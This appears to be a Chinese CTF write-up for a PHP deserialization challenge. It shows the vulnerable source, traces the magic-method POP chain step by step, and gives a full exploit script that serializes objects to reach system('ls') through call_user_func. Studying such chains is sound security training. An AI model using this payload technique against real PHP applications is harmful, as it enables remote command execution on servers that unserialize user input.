兔年大吉2
<?php
highlight_file(__FILE__);
error_reporting(0);
class Happy{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __call($name, $arguments)
{
call_user_func($this->cmd, $this->content);
}
public function __wakeup()
{
die("Wishes can be fulfilled");
}
}
class Nevv{
private $happiness;
public function __invoke()
{
return $this->happiness->check();
}
}
class Rabbit{
private $aspiration;
public function __set($name,$val){
return $this->aspiration->family;
}
}
class Year{
public $key;
public $rabbit;
public function __construct($key)
{
$this->key = $key;
}
public function firecrackers()
{
return $this->rabbit->wish = "allkill QAQ";
}
public function __get($name)
{
$name = $this->rabbit;
$name();
}
public function __destruct()
{
if ($this->key == "happy new year") {
$this->firecrackers();
}else{
print("Welcome 2023!!!!!");
}
}
}
if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
}else {
echo "过新年啊~过个吉祥年~";
}
?>
倒推POP链
最终执行
// class Happy
public function __call($name, $arguments)
{
call_user_func($this->cmd, $this->content);
}
__call:调用一个不存在的方法时触发
Nevv:__invoke -> Happy:__call
class Nevv{
private $happiness;
public function __invoke()
{
return $this->happiness->check();
}
}
__invoke:把对象当成函数调用时触发
Year:__get -> Nevv:__invoke -> Happy:__call
// class Year
public function __get($name)
{
$name = $this->rabbit;
$name();
}
__get:调用对象不存在时触发
Rabbit:__set -> Year:__get -> Nevv:__invoke -> Happy:__call
class Rabbit{
private $aspiration;
public function __set($name,$val){
return $this->aspiration->family;
}
}
__set:给不存在对象赋值时触发
Year:__destruct & firecrackers -> Rabbit:__set -> Year:__get -> Nevv:__invoke -> Happy:__call
// class Year
public function firecrackers()
{
return $this->rabbit->wish = "allkill QAQ";
}
查找哪里用了 firecrackers() 方法
// class Year
public function __destruct()
{
if ($this->key == "happy new year") {
$this->firecrackers();
}else{
print("Welcome 2023!!!!!");
}
}
最终 POP链
Year:(__destruct -> firecrackers()) -> Rabbit:(__set) -> Year:(__get) -> Nevv:(__invoke) -> Happy:(__call)
exp
<?php
class Happy{
private $cmd;
private $content;
public function __construct($cmd, $content){
$this->cmd = $cmd;
$this->content = $content;
}
}
class Nevv{
private $happiness;
public function __construct($happiness){
$this->happiness=$happiness;
}
}
class Rabbit{
private $aspiration;
public function __construct($aspiration){
$this->aspiration=$aspiration;
}
}
class Year{
public $key="happy new year";
public $rabbit;
}
$b=new Year();
$c=new Rabbit($b); // Rabbit -> Year
$e=new Happy("system","ls");
$d=new Nevv($e); // Nevv -> Happy
$a=new Year();
$b->rabbit=$d; // Year -> Nevv -> (Happy)
$a->rabbit=$c; // Year -> Rabbit -> (Year -> (Nevv -> (Happy)))
// Year:(__destruct -> firecrackers()) -> Rabbit:(__set) -> Year:(__get) -> Nevv:(__invoke) -> Happy:(__call)
echo urlencode(serialize($a));